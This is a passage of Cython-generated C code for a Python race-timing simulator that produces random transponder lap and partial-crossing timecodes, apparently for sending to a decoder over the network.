if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 107, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_25); } __Pyx_XDECREF_SET(__pyx_v_t, __pyx_t_25); __pyx_t_25 = 0; /* "simulator.py":108 * else: # otherwise simply add the delay in list * for t in self.transponder: * tp = self.transponder[t] # <<<<<<<<<<<<<< * tp[i_partial][type] = tp[i_finish] * self.partials[decoder['type']] = delay */ __pyx_t_25 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __pyx_t_1 = PyObject_GetItem(__pyx_t_25, __pyx_v_t); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; __Pyx_XDECREF_SET(__pyx_v_tp, __pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":109 * for t in self.transponder: * tp = self.transponder[t] * tp[i_partial][type] = tp[i_finish] # <<<<<<<<<<<<<< * self.partials[decoder['type']] = delay * return self.theThead */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_finish); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_25 = PyObject_GetItem(__pyx_v_tp, __pyx_t_1); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_partial); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_24 = PyObject_GetItem(__pyx_v_tp, __pyx_t_1); if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_24); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (unlikely(PyObject_SetItem(__pyx_t_24, __pyx_v_type, __pyx_t_25) < 0)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_DECREF(__pyx_t_24); __pyx_t_24 = 0; __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; /* "simulator.py":107 * ) * else: # otherwise simply add the delay in list * for t in self.transponder: # <<<<<<<<<<<<<< * tp = self.transponder[t] * tp[i_partial][type] = tp[i_finish] */ } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":110 * tp = self.transponder[t] * tp[i_partial][type] = tp[i_finish] * self.partials[decoder['type']] = delay # <<<<<<<<<<<<<< * return self.theThead * */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_partials); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_25 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_type); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_t_25, __pyx_v_delay) < 0)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; } __pyx_L30:; /* "simulator.py":111 * tp[i_partial][type] = tp[i_finish] * self.partials[decoder['type']] = delay * return self.theThead # <<<<<<<<<<<<<< * * */ __Pyx_XDECREF(__pyx_r); __pyx_t_25 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_theThead); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __pyx_r = __pyx_t_25; __pyx_t_25 = 0; goto __pyx_L0; /* "simulator.py":58 * theThead = None * * def createThread(self,d, decoder, name): # <<<<<<<<<<<<<< * * if self.howmany < decoder['howmany']: */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_10); __Pyx_XDECREF(__pyx_t_11); __Pyx_XDECREF(__pyx_t_24); __Pyx_XDECREF(__pyx_t_25); __Pyx_AddTraceback("simulator.decoder.createThread", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_i); __Pyx_XDECREF(__pyx_v_type); __Pyx_XDECREF(__pyx_v_delay); __Pyx_XDECREF(__pyx_v_rl); __Pyx_XDECREF(__pyx_v_c); __Pyx_XDECREF(__pyx_v_t); __Pyx_XDECREF(__pyx_v_sock); __Pyx_XDECREF(__pyx_v_ttl); __Pyx_XDECREF(__pyx_v_e); __Pyx_XDECREF(__pyx_v_tp); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "simulator.py":115 * * * def decoder(self, laptime, delay, ip, port, type): # <<<<<<<<<<<<<< * * while(1): # loop forever */ /* Python wrapper */ static PyObject *__pyx_pw_9simulator_7decoder_3decoder(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_9simulator_7decoder_3decoder = {"decoder", (PyCFunction)__pyx_pw_9simulator_7decoder_3decoder, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_9simulator_7decoder_3decoder(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; CYTHON_UNUSED PyObject *__pyx_v_laptime = 0; CYTHON_UNUSED PyObject *__pyx_v_delay = 0; CYTHON_UNUSED PyObject *__pyx_v_ip = 0; CYTHON_UNUSED PyObject *__pyx_v_port = 0; CYTHON_UNUSED PyObject *__pyx_v_type = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("decoder (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_laptime,&__pyx_n_s_delay,&__pyx_n_s_ip,&__pyx_n_s_port,&__pyx_n_s_type,0}; PyObject* values[6] = {0,0,0,0,0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 6: values[5] = PyTuple_GET_ITEM(__pyx_args, 5); case 5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4); case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_laptime)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("decoder", 1, 6, 6, 1); __PYX_ERR(0, 115, __pyx_L3_error) } case 2: if (likely((values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_delay)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("decoder", 1, 6, 6, 2); __PYX_ERR(0, 115, __pyx_L3_error) } case 3: if (likely((values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_ip)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("decoder", 1, 6, 6, 3); __PYX_ERR(0, 115, __pyx_L3_error) } case 4: if (likely((values[4] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_port)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("decoder", 1, 6, 6, 4); __PYX_ERR(0, 115, __pyx_L3_error) } case 5: if (likely((values[5] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_type)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("decoder", 1, 6, 6, 5); __PYX_ERR(0, 115, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "decoder") < 0)) __PYX_ERR(0, 115, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 6) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[2] = PyTuple_GET_ITEM(__pyx_args, 2); values[3] = PyTuple_GET_ITEM(__pyx_args, 3); values[4] = PyTuple_GET_ITEM(__pyx_args, 4); values[5] = PyTuple_GET_ITEM(__pyx_args, 5); } __pyx_v_self = values[0]; __pyx_v_laptime = values[1]; __pyx_v_delay = values[2]; __pyx_v_ip = values[3]; __pyx_v_port = values[4]; __pyx_v_type = values[5]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("decoder", 1, 6, 6, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 115, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("simulator.decoder.decoder", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_9simulator_7decoder_2decoder(__pyx_self, __pyx_v_self, __pyx_v_laptime, __pyx_v_delay, __pyx_v_ip, __pyx_v_port, __pyx_v_type); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_9simulator_7decoder_2decoder(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *__pyx_v_laptime, CYTHON_UNUSED PyObject *__pyx_v_delay, CYTHON_UNUSED PyObject *__pyx_v_ip, CYTHON_UNUSED PyObject *__pyx_v_port, CYTHON_UNUSED PyObject *__pyx_v_type) { PyObject *__pyx_v_tc = NULL; PyObject *__pyx_v_tp = NULL; PyObject *__pyx_v_ll = NULL; int __pyx_v_ok; PyObject *__pyx_v_sp = NULL; PyObject *__pyx_v_ap = NULL; PyObject *__pyx_v_message = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; Py_ssize_t __pyx_t_6; PyObject *__pyx_t_7 = NULL; int __pyx_t_8; int __pyx_t_9; int __pyx_t_10; Py_ssize_t __pyx_t_11; PyObject *__pyx_t_12 = NULL; PyObject *__pyx_t_13 = NULL; PyObject *__pyx_t_14 = NULL; int __pyx_t_15; char const *__pyx_t_16; PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; PyObject *__pyx_t_19 = NULL; __Pyx_RefNannySetupContext("decoder", 0); /* "simulator.py":117 * def decoder(self, laptime, delay, ip, port, type): * * while(1): # loop forever # <<<<<<<<<<<<<< * tc = int(time()*1000) # get timecode * tp = randrange( self.tp_base, self.tp_base + len( self.transponder )) # take a random transponder */ while (1) { /* "simulator.py":118 * * while(1): # loop forever * tc = int(time()*1000) # get timecode # <<<<<<<<<<<<<< * tp = randrange( self.tp_base, self.tp_base + len( self.transponder )) # take a random transponder * ll = self.transponder[ tp ] # get transponder data */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_time); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 118, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Multiply(__pyx_t_1, __pyx_int_1000); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF_SET(__pyx_v_tc, __pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":119 * while(1): # loop forever * tc = int(time()*1000) # get timecode * tp = randrange( self.tp_base, self.tp_base + len( self.transponder )) # take a random transponder # <<<<<<<<<<<<<< * ll = self.transponder[ tp ] # get transponder data * ok = False # ok the send datas */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_randrange); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_tp_base); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_tp_base); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = PyObject_Length(__pyx_t_5); if (unlikely(__pyx_t_6 == -1)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = PyNumber_Add(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_3, __pyx_t_7}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_3, __pyx_t_7}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_7); __pyx_t_3 = 0; __pyx_t_7 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF_SET(__pyx_v_tp, __pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":120 * tc = int(time()*1000) # get timecode * tp = randrange( self.tp_base, self.tp_base + len( self.transponder )) # take a random transponder * ll = self.transponder[ tp ] # get transponder data # <<<<<<<<<<<<<< * ok = False # ok the send datas * sp = sorted( self.partials.items() ) # sorted list of partial */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyObject_GetItem(__pyx_t_1, __pyx_v_tp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF_SET(__pyx_v_ll, __pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":121 * tp = randrange( self.tp_base, self.tp_base + len( self.transponder )) # take a random transponder * ll = self.transponder[ tp ] # get transponder data * ok = False # ok the send datas # <<<<<<<<<<<<<< * sp = sorted( self.partials.items() ) # sorted list of partial * if ll[i_lastline] == 0: # last was finish */ __pyx_v_ok = 0; /* "simulator.py":122 * ll = self.transponder[ tp ] # get transponder data * ok = False # ok the send datas * sp = sorted( self.partials.items() ) # sorted list of partial # <<<<<<<<<<<<<< * if ll[i_lastline] == 0: # last was finish * if len( self.partials ) == 0: # only finish line, no partial */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_partials); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_items); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PySequence_List(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_2 = ((PyObject*)__pyx_t_7); __pyx_t_7 = 0; __pyx_t_9 = PyList_Sort(__pyx_t_2); if (unlikely(__pyx_t_9 == -1)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_XDECREF_SET(__pyx_v_sp, ((PyObject*)__pyx_t_2)); __pyx_t_2 = 0; /* "simulator.py":123 * ok = False # ok the send datas * sp = sorted( self.partials.items() ) # sorted list of partial * if ll[i_lastline] == 0: # last was finish # <<<<<<<<<<<<<< * if len( self.partials ) == 0: # only finish line, no partial * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_lastline); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = PyObject_GetItem(__pyx_v_ll, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyInt_EqObjC(__pyx_t_7, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_10 < 0)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_10) { /* "simulator.py":124 * sp = sorted( self.partials.items() ) # sorted list of partial * if ll[i_lastline] == 0: # last was finish * if len( self.partials ) == 0: # only finish line, no partial # <<<<<<<<<<<<<< * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end * ok = True */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_partials); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = PyObject_Length(__pyx_t_2); if (unlikely(__pyx_t_6 == -1)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_10 = ((__pyx_t_6 == 0) != 0); if (__pyx_t_10) { /* "simulator.py":125 * if ll[i_lastline] == 0: # last was finish * if len( self.partials ) == 0: # only finish line, no partial * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end # <<<<<<<<<<<<<< * ok = True * ll[i_finish] = tc */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_finish); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = PyObject_GetItem(__pyx_v_ll, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_laptime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_7, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, __pyx_v_tc, Py_LE); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_10 < 0)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_10) { /* "simulator.py":126 * if len( self.partials ) == 0: # only finish line, no partial * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end * ok = True # <<<<<<<<<<<<<< * ll[i_finish] = tc * else: # we have partials */ __pyx_v_ok = 1; /* "simulator.py":127 * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end * ok = True * ll[i_finish] = tc # <<<<<<<<<<<<<< * else: # we have partials * if ( ll[i_finish] + sp[0][1] ) <= tc: # ok passed the first partial */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_finish); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_v_ll, __pyx_t_2, __pyx_v_tc) < 0)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":125 * if ll[i_lastline] == 0: # last was finish * if len( self.partials ) == 0: # only finish line, no partial * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end # <<<<<<<<<<<<<< * ok = True * ll[i_finish] = tc */ } /* "simulator.py":124 * sp = sorted( self.partials.items() ) # sorted list of partial * if ll[i_lastline] == 0: # last was finish * if len( self.partials ) == 0: # only finish line, no partial # <<<<<<<<<<<<<< * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end * ok = True */ goto __pyx_L6; } /* "simulator.py":129 * ll[i_finish] = tc * else: # we have partials * if ( ll[i_finish] + sp[0][1] ) <= tc: # ok passed the first partial # <<<<<<<<<<<<<< * ok = True * ll[i_partial][ sp[0][0] ] = tc */ /*else*/ { __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_finish); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyObject_GetItem(__pyx_v_ll, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (unlikely(__pyx_v_sp == Py_None)) { PyErr_SetString(PyExc_TypeError, "'NoneType' object is not subscriptable"); __PYX_ERR(0, 129, __pyx_L1_error) } __pyx_t_2 = __Pyx_GetItemInt_List(__pyx_v_sp, 0, long, 1, __Pyx_PyInt_From_long, 1, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_GetItemInt(__pyx_t_2, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyObject_RichCompare(__pyx_t_2, __pyx_v_tc, Py_LE); __Pyx_XGOTREF(__pyx_t_7); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_7); if (unlikely(__pyx_t_10 < 0)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__pyx_t_10) { /* "simulator.py":130 * else: # we have partials * if ( ll[i_finish] + sp[0][1] ) <= tc: # ok passed the first partial * ok = True # <<<<<<<<<<<<<< * ll[i_partial][ sp[0][0] ] = tc * ll[i_lastline] = sp[0][0] # set the crossing to the first partial */ __pyx_v_ok = 1; /* 